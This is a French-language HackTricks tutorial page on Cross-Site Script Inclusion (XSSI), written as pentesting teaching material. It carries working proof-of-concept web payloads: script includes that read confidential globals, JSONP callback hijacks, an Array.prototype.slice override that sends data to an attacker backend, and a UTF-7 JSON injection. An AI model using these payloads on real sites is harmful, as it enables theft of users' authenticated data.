HackTricks TrainingTwitterLinkedinSponsor

XSSI (Cross-Site Script Inclusion)

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Informations de base

L'inclusion de script entre sites (XSSI) est une vulnérabilité qui découle de la nature de la balise script en HTML. Contrairement à la plupart des ressources, qui sont soumises à la Politique de même origine (SOP), les scripts peuvent être inclus à partir de différents domaines. Ce comportement est destiné à faciliter l'utilisation de bibliothèques et d'autres ressources hébergées sur des serveurs différents, mais introduit également un risque potentiel pour la sécurité.

Caractéristiques clés de XSSI:

  • Contournement de la SOP : Les scripts sont exemptés de la Politique de même origine, ce qui leur permet d'être inclus à travers les domaines.

  • Exposition des données : Un attaquant peut exploiter ce comportement pour lire des données chargées via la balise script.

  • Impact sur JavaScript dynamique/JSONP : XSSI est particulièrement pertinent pour le JavaScript dynamique ou le JSON avec rembourrage (JSONP). Ces technologies utilisent souvent des informations "d'autorité ambiante" (comme les cookies) pour l'authentification. Lorsqu'une demande de script est faite à un hôte différent, ces informations d'identification (par exemple, les cookies) sont automatiquement incluses dans la demande.

  • Fuite de jeton d'authentification : Si un attaquant peut tromper le navigateur d'un utilisateur pour demander un script à un serveur qu'il contrôle, il pourrait accéder à des informations sensibles contenues dans ces demandes.

Types

  1. JavaScript statique - Représente la forme conventionnelle de XSSI.

  2. JavaScript statique avec authentification - Ce type est distinct car il nécessite une authentification pour y accéder.

  3. JavaScript dynamique - Implique du JavaScript qui génère dynamiquement du contenu.

  4. Non-JavaScript - Fait référence à des vulnérabilités qui n'impliquent pas directement JavaScript.

Les informations suivantes sont un résumé de https://www.scip.ch/en/?labs.20160414. Consultez-le pour plus de détails.

XSSI régulier

Dans cette approche, des informations privées sont intégrées dans un fichier JavaScript accessible mondialement. Les attaquants peuvent identifier ces fichiers en utilisant des méthodes telles que la lecture de fichiers, les recherches de mots-clés ou les expressions régulières. Une fois localisé, le script contenant des informations privées peut être inclus dans un contenu malveillant, permettant un accès non autorisé à des données sensibles. Une technique d'exploitation exemple est présentée ci-dessous:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI

Ces types d'attaques XSSI impliquent l'ajout dynamique d'informations confidentielles au script en réponse à une requête de l'utilisateur. La détection peut être effectuée en envoyant des requêtes avec et sans cookies et en comparant les réponses. Si les informations diffèrent, cela peut indiquer la présence d'informations confidentielles. Ce processus peut être automatisé en utilisant des outils comme l'extension Burp DetectDynamicJS.

Si des données confidentielles sont stockées dans une variable globale, elles peuvent être exploitées en utilisant des méthodes similaires à celles utilisées dans les XSSI réguliers. Cependant, si les données confidentielles sont incluses dans une réponse JSONP, les attaquants peuvent détourner la fonction de rappel pour récupérer les informations. Cela peut être fait en manipulant des objets globaux ou en configurant une fonction à exécuter par la réponse JSONP, comme démontré ci-dessous:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Pour les variables ne résidant pas dans l'espace de noms global, la falsification de prototype peut parfois être exploitée. Cette technique exploite la conception de JavaScript, où l'interprétation du code implique de parcourir la chaîne de prototype pour localiser la propriété appelée. En remplaçant certaines fonctions, telles que slice de Array, les attaquants peuvent accéder et divulguer des variables non globales:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Further details on attack vectors can be found in the work of Security Researcher Sebastian Lekies, who maintains a list of vectors.

Non-Script-XSSI

La recherche de Takeshi Terada introduit une autre forme de XSSI, où des fichiers Non-Script, tels que CSV, sont divulgués en cross-origin en étant inclus en tant que sources dans une balise script. Les instances historiques de XSSI, telles que l'attaque de 2006 de Jeremiah Grossman pour lire un carnet d'adresses complet de Google et la fuite de données JSON de 2007 de Joe Walker, soulignent la gravité de ces menaces. De plus, Gareth Heyes décrit une variante d'attaque impliquant du JSON encodé en UTF-7 pour échapper au format JSON et exécuter des scripts, efficace dans certains navigateurs:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

D'autres façons de soutenir HackTricks:

PreviousXSS in MarkdownNextXS-Search/XS-Leaks

Last updated